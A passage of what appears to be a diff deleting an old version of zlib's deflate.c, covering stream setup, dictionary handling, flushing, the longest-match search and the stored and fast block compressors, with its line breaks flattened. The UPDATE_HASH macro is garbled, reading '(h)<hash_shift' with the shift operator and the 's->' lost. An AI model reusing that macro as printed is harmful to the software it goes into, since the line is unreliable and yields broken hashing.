about the MIN_MATCH+1. - */ - -/* Values for max_lazy_match, good_match and max_chain_length, depending on - * the desired pack level (0..9). The values given below have been tuned to - * exclude worst case performance for pathological files. Better values may be - * found for specific files. - */ -typedef struct config_s { - ush good_length; /* reduce lazy search above this match length */ - ush max_lazy; /* do not perform lazy search above this match length */ - ush nice_length; /* quit search above this match length */ - ush max_chain; - compress_func func; -} config; - -local config configuration_table[10] = { -/* good lazy nice chain */ -/* 0 */ {0, 0, 0, 0, deflate_stored}, /* store only */ -/* 1 */ {4, 4, 8, 4, deflate_fast}, /* maximum speed, no lazy matches */ -/* 2 */ {4, 5, 16, 8, deflate_fast}, -/* 3 */ {4, 6, 32, 32, deflate_fast}, - -/* 4 */ {4, 4, 16, 16, deflate_slow}, /* lazy matches */ -/* 5 */ {8, 16, 32, 32, deflate_slow}, -/* 6 */ {8, 16, 128, 128, deflate_slow}, -/* 7 */ {8, 32, 128, 256, deflate_slow}, -/* 8 */ {32, 128, 258, 1024, deflate_slow}, -/* 9 */ {32, 258, 258, 4096, deflate_slow}}; /* maximum compression */ - -/* Note: the deflate() code requires max_lazy >= MIN_MATCH and max_chain >= 4 - * For deflate_fast() (levels <= 3) good is ignored and lazy has a different - * meaning. - */ - -#define EQUAL 0 -/* result of memcmp for equal strings */ - -#ifndef NO_DUMMY_DECL -struct static_tree_desc_s {int dummy;}; /* for buggy compilers */ -#endif - -/* =========================================================================== - * Update a hash value with the given input byte - * IN assertion: all calls to to UPDATE_HASH are made with consecutive - * input characters, so that a running hash key can be computed from the - * previous key instead of complete recalculation each time. - */ -#define UPDATE_HASH(s,h,c) (h = (((h)<hash_shift) ^ (c)) & s->hash_mask) - - -/* =========================================================================== - * Insert string str in the dictionary and set match_head to the previous head - * of the hash chain (the most recent string with same hash key). Return - * the previous length of the hash chain. - * IN assertion: all calls to to INSERT_STRING are made with consecutive - * input characters and the first MIN_MATCH bytes of str are valid - * (except for the last MIN_MATCH-1 bytes of the input file). - */ -#define INSERT_STRING(s, str, match_head) \ - (UPDATE_HASH(s, s->ins_h, s->window[(str) + (MIN_MATCH-1)]), \ - s->prev[(str) & s->w_mask] = match_head = s->head[s->ins_h], \ - s->head[s->ins_h] = (Pos)(str)) - -/* =========================================================================== - * Initialize the hash table (avoiding 64K overflow for 16 bit systems). - * prev[] will be initialized on the fly. - */ -#define CLEAR_HASH(s) \ - s->head[s->hash_size-1] = NIL; \ - zmemzero((charf *)s->head, (unsigned)(s->hash_size-1)*sizeof(*s->head)); - -/* ========================================================================= */ -int deflateInit_(strm, level, version, stream_size) - z_streamp strm; - int level; - const char *version; - int stream_size; -{ - return deflateInit2_(strm, level, Z_DEFLATED, MAX_WBITS, DEF_MEM_LEVEL, - Z_DEFAULT_STRATEGY, version, stream_size); - /* To do: ignore strm->next_in if we use it as window */ -} - -/* ========================================================================= */ -int deflateInit2_(strm, level, method, windowBits, memLevel, strategy, - version, stream_size) - z_streamp strm; - int level; - int method; - int windowBits; - int memLevel; - int strategy; - const char *version; - int stream_size; -{ - deflate_state *s; - int noheader = 0; - static char* my_version = ZLIB_VERSION; - - ushf *overlay; - /* We overlay pending_buf and d_buf+l_buf. This works since the average - * output size for (length,distance) codes is <= 24 bits. - */ - - if (version == Z_NULL || version[0] != my_version[0] || - stream_size != sizeof(z_stream)) { - return Z_VERSION_ERROR; - } - if (strm == Z_NULL) return Z_STREAM_ERROR; - - strm->msg = Z_NULL; -#ifndef NO_ZCFUNCS - if (strm->zalloc == Z_NULL) { - strm->zalloc = zcalloc; - strm->opaque = (voidpf)0; - } - if (strm->zfree == Z_NULL) strm->zfree = zcfree; -#endif - - if (level == Z_DEFAULT_COMPRESSION) level = 6; - - if (windowBits < 0) { /* undocumented feature: suppress zlib header */ - noheader = 1; - windowBits = -windowBits; - } - if (memLevel < 1 || memLevel > MAX_MEM_LEVEL || method != Z_DEFLATED || - windowBits < 9 || windowBits > 15 || level < 0 || level > 9 || - strategy < 0 || strategy > Z_HUFFMAN_ONLY) { - return Z_STREAM_ERROR; - } - s = (deflate_state *) ZALLOC(strm, 1, sizeof(deflate_state)); - if (s == Z_NULL) return Z_MEM_ERROR; - strm->state = (struct internal_state FAR *)s; - s->strm = strm; - - s->noheader = noheader; - s->w_bits = windowBits; - s->w_size = 1 << s->w_bits; - s->w_mask = s->w_size - 1; - - s->hash_bits = memLevel + 7; - s->hash_size = 1 << s->hash_bits; - s->hash_mask = s->hash_size - 1; - s->hash_shift = ((s->hash_bits+MIN_MATCH-1)/MIN_MATCH); - - s->window = (Bytef *) ZALLOC(strm, s->w_size, 2*sizeof(Byte)); - s->prev = (Posf *) ZALLOC(strm, s->w_size, sizeof(Pos)); - s->head = (Posf *) ZALLOC(strm, s->hash_size, sizeof(Pos)); - - s->lit_bufsize = 1 << (memLevel + 6); /* 16K elements by default */ - - overlay = (ushf *) ZALLOC(strm, s->lit_bufsize, sizeof(ush)+2); - s->pending_buf = (uchf *) overlay; - s->pending_buf_size = (ulg)s->lit_bufsize * (sizeof(ush)+2L); - - if (s->window == Z_NULL || s->prev == Z_NULL || s->head == Z_NULL || - s->pending_buf == Z_NULL) { - strm->msg = (const char*)ERR_MSG(Z_MEM_ERROR); - deflateEnd (strm); - return Z_MEM_ERROR; - } - s->d_buf = overlay + s->lit_bufsize/sizeof(ush); - s->l_buf = s->pending_buf + (1+sizeof(ush))*s->lit_bufsize; - - s->level = level; - s->strategy = strategy; - s->method = (Byte)method; - - return deflateReset(strm); -} - -/* ========================================================================= */ -int deflateSetDictionary (strm, dictionary, dictLength) - z_streamp strm; - const Bytef *dictionary; - uInt dictLength; -{ - deflate_state *s; - uInt length = dictLength; - uInt n; - IPos hash_head = 0; - - if (strm == Z_NULL || strm->state == Z_NULL || dictionary == Z_NULL) - return Z_STREAM_ERROR; - - s = (deflate_state *) strm->state; - if (s->status != INIT_STATE) return Z_STREAM_ERROR; - - strm->adler = adler32(strm->adler, dictionary, dictLength); - - if (length < MIN_MATCH) return Z_OK; - if (length > MAX_DIST(s)) { - length = MAX_DIST(s); -#ifndef USE_DICT_HEAD - dictionary += dictLength - length; /* use the tail of the dictionary */ -#endif - } - zmemcpy((charf *)s->window, dictionary, length); - s->strstart = length; - s->block_start = (long)length; - - /* Insert all strings in the hash table (except for the last two bytes). - * s->lookahead stays null, so s->ins_h will be recomputed at the next - * call of fill_window. - */ - s->ins_h = s->window[0]; - UPDATE_HASH(s, s->ins_h, s->window[1]); - for (n = 0; n <= length - MIN_MATCH; n++) { - INSERT_STRING(s, n, hash_head); - } - if (hash_head) hash_head = 0; /* to make compiler happy */ - return Z_OK; -} - -/* ========================================================================= */ -int deflateReset (strm) - z_streamp strm; -{ - deflate_state *s; - - if (strm == Z_NULL || strm->state == Z_NULL || - strm->zalloc == Z_NULL || strm->zfree == Z_NULL) return Z_STREAM_ERROR; - - strm->total_in = strm->total_out = 0; - strm->msg = Z_NULL; /* use zfree if we ever allocate msg dynamically */ - strm->data_type = Z_UNKNOWN; - - s = (deflate_state *)strm->state; - s->pending = 0; - s->pending_out = s->pending_buf; - - if (s->noheader < 0) { - s->noheader = 0; /* was set to -1 by deflate(..., Z_FINISH); */ - } - s->status = s->noheader ? BUSY_STATE : INIT_STATE; - strm->adler = 1; - s->last_flush = Z_NO_FLUSH; - - _tr_init(s); - lm_init(s); - - return Z_OK; -} - -/* ========================================================================= */ -int deflateParams(strm, level, strategy) - z_streamp strm; - int level; - int strategy; -{ - deflate_state *s; - compress_func func; - int err = Z_OK; - - if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR; - s = (deflate_state *) strm->state; - - if (level == Z_DEFAULT_COMPRESSION) { - level = 6; - } - if (level < 0 || level > 9 || strategy < 0 || strategy > Z_HUFFMAN_ONLY) { - return Z_STREAM_ERROR; - } - func = configuration_table[s->level].func; - - if (func != configuration_table[level].func && strm->total_in != 0) { - /* Flush the last buffer: */ - err = deflate(strm, Z_PARTIAL_FLUSH); - } - if (s->level != level) { - s->level = level; - s->max_lazy_match = configuration_table[level].max_lazy; - s->good_match = configuration_table[level].good_length; - s->nice_match = configuration_table[level].nice_length; - s->max_chain_length = configuration_table[level].max_chain; - } - s->strategy = strategy; - return err; -} - -/* ========================================================================= - * Put a short in the pending buffer. The 16-bit value is put in MSB order. - * IN assertion: the stream state is correct and there is enough room in - * pending_buf. - */ -local void putShortMSB (s, b) - deflate_state *s; - uInt b; -{ - put_byte(s, (Byte)(b >> 8)); - put_byte(s, (Byte)(b & 0xff)); -} - -/* ========================================================================= - * Flush as much pending output as possible. All deflate() output goes - * through this function so some applications may wish to modify it - * to avoid allocating a large strm->next_out buffer and copying into it. - * (See also read_buf()). - */ -local void flush_pending(strm) - z_streamp strm; -{ - deflate_state *s = (deflate_state *) strm->state; - unsigned len = s->pending; - - if (len > strm->avail_out) len = strm->avail_out; - if (len == 0) return; - - if (strm->next_out != Z_NULL) { - zmemcpy(strm->next_out, s->pending_out, len); - strm->next_out += len; - } - s->pending_out += len; - strm->total_out += len; - strm->avail_out -= len; - s->pending -= len; - if (s->pending == 0) { - s->pending_out = s->pending_buf; - } -} - -/* ========================================================================= */ -int deflate (strm, flush) - z_streamp strm; - int flush; -{ - int old_flush; /* value of flush param for previous deflate call */ - deflate_state *s; - - if (strm == Z_NULL || strm->state == Z_NULL || - flush > Z_FINISH || flush < 0) { - return Z_STREAM_ERROR; - } - s = (deflate_state *) strm->state; - - if ((strm->next_in == Z_NULL && strm->avail_in != 0) || - (s->status == FINISH_STATE && flush != Z_FINISH)) { - ERR_RETURN(strm, Z_STREAM_ERROR); - } - if (strm->avail_out == 0) ERR_RETURN(strm, Z_BUF_ERROR); - - s->strm = strm; /* just in case */ - old_flush = s->last_flush; - s->last_flush = flush; - - /* Write the zlib header */ - if (s->status == INIT_STATE) { - - uInt header = (Z_DEFLATED + ((s->w_bits-8)<<4)) << 8; - uInt level_flags = (s->level-1) >> 1; - - if (level_flags > 3) level_flags = 3; - header |= (level_flags << 6); - if (s->strstart != 0) header |= PRESET_DICT; - header += 31 - (header % 31); - - s->status = BUSY_STATE; - putShortMSB(s, header); - - /* Save the adler32 of the preset dictionary: */ - if (s->strstart != 0) { - putShortMSB(s, (uInt)(strm->adler >> 16)); - putShortMSB(s, (uInt)(strm->adler & 0xffff)); - } - strm->adler = 1L; - } - - /* Flush as much pending output as possible */ - if (s->pending != 0) { - flush_pending(strm); - if (strm->avail_out == 0) { - /* Since avail_out is 0, deflate will be called again with - * more output space, but possibly with both pending and - * avail_in equal to zero. There won't be anything to do, - * but this is not an error situation so make sure we - * return OK instead of BUF_ERROR at next call of deflate: - */ - s->last_flush = -1; - return Z_OK; - } - - /* Make sure there is something to do and avoid duplicate consecutive - * flushes. For repeated and useless calls with Z_FINISH, we keep - * returning Z_STREAM_END instead of Z_BUFF_ERROR. - */ - } else if (strm->avail_in == 0 && flush <= old_flush && - flush != Z_FINISH) { - ERR_RETURN(strm, Z_BUF_ERROR); - } - - /* User must not provide more input after the first FINISH: */ - if (s->status == FINISH_STATE && strm->avail_in != 0) { - ERR_RETURN(strm, Z_BUF_ERROR); - } - - /* Start a new block or continue the current one. - */ - if (strm->avail_in != 0 || s->lookahead != 0 || - (flush != Z_NO_FLUSH && s->status != FINISH_STATE)) { - block_state bstate; - - bstate = (*(configuration_table[s->level].func))(s, flush); - - if (bstate == finish_started || bstate == finish_done) { - s->status = FINISH_STATE; - } - if (bstate == need_more || bstate == finish_started) { - if (strm->avail_out == 0) { - s->last_flush = -1; /* avoid BUF_ERROR next call, see above */ - } - return Z_OK; - /* If flush != Z_NO_FLUSH && avail_out == 0, the next call - * of deflate should use the same flush parameter to make sure - * that the flush is complete. So we don't have to output an - * empty block here, this will be done at next call. This also - * ensures that for a very small output buffer, we emit at most - * one empty block. - */ - } - if (bstate == block_done) { - if (flush == Z_PARTIAL_FLUSH) { - _tr_align(s); - } else if (flush == Z_PACKET_FLUSH) { - /* Output just the 3-bit `stored' block type value, - but not a zero length. */ - _tr_stored_type_only(s); - } else { /* FULL_FLUSH or SYNC_FLUSH */ - _tr_stored_block(s, (char*)0, 0L, 0); - /* For a full flush, this empty block will be recognized - * as a special marker by inflate_sync(). - */ - if (flush == Z_FULL_FLUSH) { - CLEAR_HASH(s); /* forget history */ - } - } - flush_pending(strm); - if (strm->avail_out == 0) { - s->last_flush = -1; /* avoid BUF_ERROR at next call, see above */ - return Z_OK; - } - } - } - Assert(strm->avail_out > 0, "bug2"); - - if (flush != Z_FINISH) return Z_OK; - if (s->noheader) return Z_STREAM_END; - - /* Write the zlib trailer (adler32) */ - putShortMSB(s, (uInt)(strm->adler >> 16)); - putShortMSB(s, (uInt)(strm->adler & 0xffff)); - flush_pending(strm); - /* If avail_out is zero, the application will call deflate again - * to flush the rest. - */ - s->noheader = -1; /* write the trailer only once! */ - return s->pending != 0 ? Z_OK : Z_STREAM_END; -} - -/* ========================================================================= */ -int deflateEnd (strm) - z_streamp strm; -{ - int status; - deflate_state *s; - - if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR; - s = (deflate_state *) strm->state; - - status = s->status; - if (status != INIT_STATE && status != BUSY_STATE && - status != FINISH_STATE) { - return Z_STREAM_ERROR; - } - - /* Deallocate in reverse order of allocations: */ - TRY_FREE(strm, s->pending_buf); - TRY_FREE(strm, s->head); - TRY_FREE(strm, s->prev); - TRY_FREE(strm, s->window); - - ZFREE(strm, s); - strm->state = Z_NULL; - - return status == BUSY_STATE ? Z_DATA_ERROR : Z_OK; -} - -/* ========================================================================= - * Copy the source state to the destination state. - */ -int deflateCopy (dest, source) - z_streamp dest; - z_streamp source; -{ - deflate_state *ds; - deflate_state *ss; - ushf *overlay; - - if (source == Z_NULL || dest == Z_NULL || source->state == Z_NULL) - return Z_STREAM_ERROR; - ss = (deflate_state *) source->state; - - zmemcpy(dest, source, sizeof(*dest)); - - ds = (deflate_state *) ZALLOC(dest, 1, sizeof(deflate_state)); - if (ds == Z_NULL) return Z_MEM_ERROR; - dest->state = (struct internal_state FAR *) ds; - zmemcpy(ds, ss, sizeof(*ds)); - ds->strm = dest; - - ds->window = (Bytef *) ZALLOC(dest, ds->w_size, 2*sizeof(Byte)); - ds->prev = (Posf *) ZALLOC(dest, ds->w_size, sizeof(Pos)); - ds->head = (Posf *) ZALLOC(dest, ds->hash_size, sizeof(Pos)); - overlay = (ushf *) ZALLOC(dest, ds->lit_bufsize, sizeof(ush)+2); - ds->pending_buf = (uchf *) overlay; - - if (ds->window == Z_NULL || ds->prev == Z_NULL || ds->head == Z_NULL || - ds->pending_buf == Z_NULL) { - deflateEnd (dest); - return Z_MEM_ERROR; - } - /* ??? following zmemcpy doesn't work for 16-bit MSDOS */ - zmemcpy(ds->window, ss->window, ds->w_size * 2 * sizeof(Byte)); - zmemcpy(ds->prev, ss->prev, ds->w_size * sizeof(Pos)); - zmemcpy(ds->head, ss->head, ds->hash_size * sizeof(Pos)); - zmemcpy(ds->pending_buf, ss->pending_buf, (uInt)ds->pending_buf_size); - - ds->pending_out = ds->pending_buf + (ss->pending_out - ss->pending_buf); - ds->d_buf = overlay + ds->lit_bufsize/sizeof(ush); - ds->l_buf = ds->pending_buf + (1+sizeof(ush))*ds->lit_bufsize; - - ds->l_desc.dyn_tree = ds->dyn_ltree; - ds->d_desc.dyn_tree = ds->dyn_dtree; - ds->bl_desc.dyn_tree = ds->bl_tree; - - return Z_OK; -} - -/* =========================================================================== - * Return the number of bytes of output which are immediately available - * for output from the decompressor. - */ -int deflateOutputPending (strm) - z_streamp strm; -{ - if (strm == Z_NULL || strm->state == Z_NULL) return 0; - - return ((deflate_state *)(strm->state))->pending; -} - -/* =========================================================================== - * Read a new buffer from the current input stream, update the adler32 - * and total number of bytes read. All deflate() input goes through - * this function so some applications may wish to modify it to avoid - * allocating a large strm->next_in buffer and copying from it. - * (See also flush_pending()). - */ -local int read_buf(strm, buf, size) - z_streamp strm; - charf *buf; - unsigned size; -{ - unsigned len = strm->avail_in; - - if (len > size) len = size; - if (len == 0) return 0; - - strm->avail_in -= len; - - if (!((deflate_state *)(strm->state))->noheader) { - strm->adler = adler32(strm->adler, strm->next_in, len); - } - zmemcpy(buf, strm->next_in, len); - strm->next_in += len; - strm->total_in += len; - - return (int)len; -} - -/* =========================================================================== - * Initialize the "longest match" routines for a new zlib stream - */ -local void lm_init (s) - deflate_state *s; -{ - s->window_size = (ulg)2L*s->w_size; - - CLEAR_HASH(s); - - /* Set the default configuration parameters: - */ - s->max_lazy_match = configuration_table[s->level].max_lazy; - s->good_match = configuration_table[s->level].good_length; - s->nice_match = configuration_table[s->level].nice_length; - s->max_chain_length = configuration_table[s->level].max_chain; - - s->strstart = 0; - s->block_start = 0L; - s->lookahead = 0; - s->match_length = s->prev_length = MIN_MATCH-1; - s->match_available = 0; - s->ins_h = 0; -#ifdef ASMV - match_init(); /* initialize the asm code */ -#endif -} - -/* =========================================================================== - * Set match_start to the longest match starting at the given string and - * return its length. Matches shorter or equal to prev_length are discarded, - * in which case the result is equal to prev_length and match_start is - * garbage. - * IN assertions: cur_match is the head of the hash chain for the current - * string (strstart) and its distance is <= MAX_DIST, and prev_length >= 1 - * OUT assertion: the match length is not greater than s->lookahead. - */ -#ifndef ASMV -/* For 80x86 and 680x0, an optimized version will be provided in match.asm or - * match.S. The code will be functionally equivalent. - */ -local uInt longest_match(s, cur_match) - deflate_state *s; - IPos cur_match; /* current match */ -{ - unsigned chain_length = s->max_chain_length;/* max hash chain length */ - register Bytef *scan = s->window + s->strstart; /* current string */ - register Bytef *match; /* matched string */ - register int len; /* length of current match */ - int best_len = s->prev_length; /* best match length so far */ - int nice_match = s->nice_match; /* stop if match long enough */ - IPos limit = s->strstart > (IPos)MAX_DIST(s) ? - s->strstart - (IPos)MAX_DIST(s) : NIL; - /* Stop when cur_match becomes <= limit. To simplify the code, - * we prevent matches with the string of window index 0. - */ - Posf *prev = s->prev; - uInt wmask = s->w_mask; - -#ifdef UNALIGNED_OK - /* Compare two bytes at a time. Note: this is not always beneficial. - * Try with and without -DUNALIGNED_OK to check. - */ - register Bytef *strend = s->window + s->strstart + MAX_MATCH - 1; - register ush scan_start = *(ushf*)scan; - register ush scan_end = *(ushf*)(scan+best_len-1); -#else - register Bytef *strend = s->window + s->strstart + MAX_MATCH; - register Byte scan_end1 = scan[best_len-1]; - register Byte scan_end = scan[best_len]; -#endif - - /* The code is optimized for HASH_BITS >= 8 and MAX_MATCH-2 multiple of 16. - * It is easy to get rid of this optimization if necessary. - */ - Assert(s->hash_bits >= 8 && MAX_MATCH == 258, "Code too clever"); - - /* Do not waste too much time if we already have a good match: */ - if (s->prev_length >= s->good_match) { - chain_length >>= 2; - } - /* Do not look for matches beyond the end of the input. This is necessary - * to make deflate deterministic. - */ - if ((uInt)nice_match > s->lookahead) nice_match = s->lookahead; - - Assert((ulg)s->strstart <= s->window_size-MIN_LOOKAHEAD, "need lookahead"); - - do { - Assert(cur_match < s->strstart, "no future"); - match = s->window + cur_match; - - /* Skip to next match if the match length cannot increase - * or if the match length is less than 2: - */ -#if (defined(UNALIGNED_OK) && MAX_MATCH == 258) - /* This code assumes sizeof(unsigned short) == 2. Do not use - * UNALIGNED_OK if your compiler uses a different size. - */ - if (*(ushf*)(match+best_len-1) != scan_end || - *(ushf*)match != scan_start) continue; - - /* It is not necessary to compare scan[2] and match[2] since they are - * always equal when the other bytes match, given that the hash keys - * are equal and that HASH_BITS >= 8. Compare 2 bytes at a time at - * strstart+3, +5, ... up to strstart+257. We check for insufficient - * lookahead only every 4th comparison; the 128th check will be made - * at strstart+257. If MAX_MATCH-2 is not a multiple of 8, it is - * necessary to put more guard bytes at the end of the window, or - * to check more often for insufficient lookahead. - */ - Assert(scan[2] == match[2], "scan[2]?"); - scan++, match++; - do { - } while (*(ushf*)(scan+=2) == *(ushf*)(match+=2) && - *(ushf*)(scan+=2) == *(ushf*)(match+=2) && - *(ushf*)(scan+=2) == *(ushf*)(match+=2) && - *(ushf*)(scan+=2) == *(ushf*)(match+=2) && - scan < strend); - /* The funny "do {}" generates better code on most compilers */ - - /* Here, scan <= window+strstart+257 */ - Assert(scan <= s->window+(unsigned)(s->window_size-1), "wild scan"); - if (*scan == *match) scan++; - - len = (MAX_MATCH - 1) - (int)(strend-scan); - scan = strend - (MAX_MATCH-1); - -#else /* UNALIGNED_OK */ - - if (match[best_len] != scan_end || - match[best_len-1] != scan_end1 || - *match != *scan || - *++match != scan[1]) continue; - - /* The check at best_len-1 can be removed because it will be made - * again later. (This heuristic is not always a win.) - * It is not necessary to compare scan[2] and match[2] since they - * are always equal when the other bytes match, given that - * the hash keys are equal and that HASH_BITS >= 8. - */ - scan += 2, match++; - Assert(*scan == *match, "match[2]?"); - - /* We check for insufficient lookahead only every 8th comparison; - * the 256th check will be made at strstart+258. - */ - do { - } while (*++scan == *++match && *++scan == *++match && - *++scan == *++match && *++scan == *++match && - *++scan == *++match && *++scan == *++match && - *++scan == *++match && *++scan == *++match && - scan < strend); - - Assert(scan <= s->window+(unsigned)(s->window_size-1), "wild scan"); - - len = MAX_MATCH - (int)(strend - scan); - scan = strend - MAX_MATCH; - -#endif /* UNALIGNED_OK */ - - if (len > best_len) { - s->match_start = cur_match; - best_len = len; - if (len >= nice_match) break; -#ifdef UNALIGNED_OK - scan_end = *(ushf*)(scan+best_len-1); -#else - scan_end1 = scan[best_len-1]; - scan_end = scan[best_len]; -#endif - } - } while ((cur_match = prev[cur_match & wmask]) > limit - && --chain_length != 0); - - if ((uInt)best_len <= s->lookahead) return best_len; - return s->lookahead; -} -#endif /* ASMV */ - -#ifdef DEBUG_ZLIB -/* =========================================================================== - * Check that the match at match_start is indeed a match. - */ -local void check_match(s, start, match, length) - deflate_state *s; - IPos start, match; - int length; -{ - /* check that the match is indeed a match */ - if (zmemcmp((charf *)s->window + match, - (charf *)s->window + start, length) != EQUAL) { - fprintf(stderr, " start %u, match %u, length %d\n", - start, match, length); - do { - fprintf(stderr, "%c%c", s->window[match++], s->window[start++]); - } while (--length != 0); - z_error("invalid match"); - } - if (z_verbose > 1) { - fprintf(stderr,"\\[%d,%d]", start-match, length); - do { putc(s->window[start++], stderr); } while (--length != 0); - } -} -#else -# define check_match(s, start, match, length) -#endif - -/* =========================================================================== - * Fill the window when the lookahead becomes insufficient. - * Updates strstart and lookahead. - * - * IN assertion: lookahead < MIN_LOOKAHEAD - * OUT assertions: strstart <= window_size-MIN_LOOKAHEAD - * At least one byte has been read, or avail_in == 0; reads are - * performed for at least two bytes (required for the zip translate_eol - * option -- not supported here). - */ -local void fill_window(s) - deflate_state *s; -{ - register unsigned n, m; - register Posf *p; - unsigned more; /* Amount of free space at the end of the window. */ - uInt wsize = s->w_size; - - do { - more = (unsigned)(s->window_size -(ulg)s->lookahead -(ulg)s->strstart); - - /* Deal with !@#$% 64K limit: */ - if (more == 0 && s->strstart == 0 && s->lookahead == 0) { - more = wsize; - - } else if (more == (unsigned)(-1)) { - /* Very unlikely, but possible on 16 bit machine if strstart == 0 - * and lookahead == 1 (input done one byte at time) - */ - more--; - - /* If the window is almost full and there is insufficient lookahead, - * move the upper half to the lower one to make room in the upper half. - */ - } else if (s->strstart >= wsize+MAX_DIST(s)) { - - zmemcpy((charf *)s->window, (charf *)s->window+wsize, - (unsigned)wsize); - s->match_start -= wsize; - s->strstart -= wsize; /* we now have strstart >= MAX_DIST */ - s->block_start -= (long) wsize; - - /* Slide the hash table (could be avoided with 32 bit values - at the expense of memory usage). We slide even when level == 0 - to keep the hash table consistent if we switch back to level > 0 - later. (Using level 0 permanently is not an optimal usage of - zlib, so we don't care about this pathological case.) - */ - n = s->hash_size; - p = &s->head[n]; - do { - m = *--p; - *p = (Pos)(m >= wsize ? m-wsize : NIL); - } while (--n); - - n = wsize; - p = &s->prev[n]; - do { - m = *--p; - *p = (Pos)(m >= wsize ? m-wsize : NIL); - /* If n is not on any hash chain, prev[n] is garbage but - * its value will never be used. - */ - } while (--n); - more += wsize; - } - if (s->strm->avail_in == 0) return; - - /* If there was no sliding: - * strstart <= WSIZE+MAX_DIST-1 && lookahead <= MIN_LOOKAHEAD - 1 && - * more == window_size - lookahead - strstart - * => more >= window_size - (MIN_LOOKAHEAD-1 + WSIZE + MAX_DIST-1) - * => more >= window_size - 2*WSIZE + 2 - * In the BIG_MEM or MMAP case (not yet supported), - * window_size == input_size + MIN_LOOKAHEAD && - * strstart + s->lookahead <= input_size => more >= MIN_LOOKAHEAD. - * Otherwise, window_size == 2*WSIZE so more >= 2. - * If there was sliding, more >= WSIZE. So in all cases, more >= 2. - */ - Assert(more >= 2, "more < 2"); - - n = read_buf(s->strm, (charf *)s->window + s->strstart + s->lookahead, - more); - s->lookahead += n; - - /* Initialize the hash value now that we have some input: */ - if (s->lookahead >= MIN_MATCH) { - s->ins_h = s->window[s->strstart]; - UPDATE_HASH(s, s->ins_h, s->window[s->strstart+1]); -#if MIN_MATCH != 3 - Call UPDATE_HASH() MIN_MATCH-3 more times -#endif - } - /* If the whole input has less than MIN_MATCH bytes, ins_h is garbage, - * but this is not important since only literal bytes will be emitted. - */ - - } while (s->lookahead < MIN_LOOKAHEAD && s->strm->avail_in != 0); -} - -/* =========================================================================== - * Flush the current block, with given end-of-file flag. - * IN assertion: strstart is set to the end of the current match. - */ -#define FLUSH_BLOCK_ONLY(s, eof) { \ - _tr_flush_block(s, (s->block_start >= 0L ? \ - (charf *)&s->window[(unsigned)s->block_start] : \ - (charf *)Z_NULL), \ - (ulg)((long)s->strstart - s->block_start), \ - (eof)); \ - s->block_start = s->strstart; \ - flush_pending(s->strm); \ - Tracev((stderr,"[FLUSH]")); \ -} - -/* Same but force premature exit if necessary. */ -#define FLUSH_BLOCK(s, eof) { \ - FLUSH_BLOCK_ONLY(s, eof); \ - if (s->strm->avail_out == 0) return (eof) ? finish_started : need_more; \ -} - -/* =========================================================================== - * Copy without compression as much as possible from the input stream, return - * the current block state. - * This function does not insert new strings in the dictionary since - * uncompressible data is probably not useful. This function is used - * only for the level=0 compression option. - * NOTE: this function should be optimized to avoid extra copying from - * window to pending_buf. - */ -local block_state deflate_stored(s, flush) - deflate_state *s; - int flush; -{ - /* Stored blocks are limited to 0xffff bytes, pending_buf is limited - * to pending_buf_size, and each stored block has a 5 byte header: - */ - ulg max_block_size = 0xffff; - ulg max_start; - - if (max_block_size > s->pending_buf_size - 5) { - max_block_size = s->pending_buf_size - 5; - } - - /* Copy as much as possible from input to output: */ - for (;;) { - /* Fill the window as much as possible: */ - if (s->lookahead <= 1) { - - Assert(s->strstart < s->w_size+MAX_DIST(s) || - s->block_start >= (long)s->w_size, "slide too late"); - - fill_window(s); - if (s->lookahead == 0 && flush == Z_NO_FLUSH) return need_more; - - if (s->lookahead == 0) break; /* flush the current block */ - } - Assert(s->block_start >= 0L, "block gone"); - - s->strstart += s->lookahead; - s->lookahead = 0; - - /* Emit a stored block if pending_buf will be full: */ - max_start = s->block_start + max_block_size; - if (s->strstart == 0 || (ulg)s->strstart >= max_start) { - /* strstart == 0 is possible when wraparound on 16-bit machine */ - s->lookahead = (uInt)(s->strstart - max_start); - s->strstart = (uInt)max_start; - FLUSH_BLOCK(s, 0); - } - /* Flush if we may have to slide, otherwise block_start may become - * negative and the data will be gone: - */ - if (s->strstart - (uInt)s->block_start >= MAX_DIST(s)) { - FLUSH_BLOCK(s, 0); - } - } - FLUSH_BLOCK(s, flush == Z_FINISH); - return flush == Z_FINISH ? finish_done : block_done; -} - -/* =========================================================================== - * Compress as much as possible from the input stream, return the current - * block state. - * This function does not perform lazy evaluation of matches and inserts - * new strings in the dictionary only for unmatched strings or for short - * matches. It is used only for the fast compression options. - */ -local block_state deflate_fast(s, flush) - deflate_state *s; - int flush; -{ - IPos hash_head = NIL; /* head of the hash chain */ - int bflush; /* set if current block must be flushed */ - - for (;;) { - /* Make sure that we always have enough lookahead, except - * at the end of the input file. We need MAX_MATCH bytes - * for the next match, plus MIN_MATCH bytes to insert the - * string following the next match. - */ - if (s->lookahead < MIN_LOOKAHEAD) { - fill_window(s); - if (s->lookahead < MIN_LOOKAHEAD && flush == Z_NO_FLUSH) { - return need_more; - } - if (s->lookahead == 0) break; /* flush the current block */ - } - - /* Insert the string window[strstart .. strstart+2] in the - * dictionary, and set hash_head to the head of the hash chain: - */ - if (s->lookahead >= MIN_MATCH) { - INSERT_STRING(s, s->strstart, hash_head); - } - - /* Find the longest match, discarding those <= prev_length. - * At this point we have always match_length < MIN_MATCH - */ - if (hash_head != NIL && s->strstart - hash_head <= MAX_DIST(s)) { - /* To simplify the code, we prevent matches with the string - * of window index 0 (in particular we have to avoid a match - * of the string with itself at the start of the input file). - */ - if (s->strategy != Z_HUFFMAN_ONLY) { - s->match_length = longest_match (s, hash_head); - } - /* longest_match() sets match_start */ - } - if (s->match_length >= MIN_MATCH) { - check_match(s, s->strstart, s->match_start, s->match_length); - - bflush = _tr_tally(s, s->strstart - s->match_start, - s->match_length - MIN_MATCH); - - s->lookahead -= s->match_length; - - /* Insert new strings in the hash table only if the match length - * is not too large. This saves time but degrades compression. - */ - if (s->match_length <= s->max_insert_length && - s->lookahead >= MIN_MATCH) { - s->match_length--; /* string at strstart already in hash table */ - do { - s->strstart++; - INSERT_STRING(s, s->strstart, hash_head); - /* strstart never exceeds WSIZE-MAX_MATCH, so there are - * always MIN_MATCH bytes ahead. - */ - } while (--s->match_length != 0); - s->strstart++; - } else { - s->strstart += s->match_length; - s->match_length = 0; - s->ins_h = s->window[s->strstart]; - UPDATE_HASH(s, s->ins_h, s->window[s->strstart+1]); -#if MIN_MATCH != 3 - Call UPDATE_HASH() MIN_MATCH-3 more times -#endif - /* If lookahead < MIN_MATCH, ins_h is 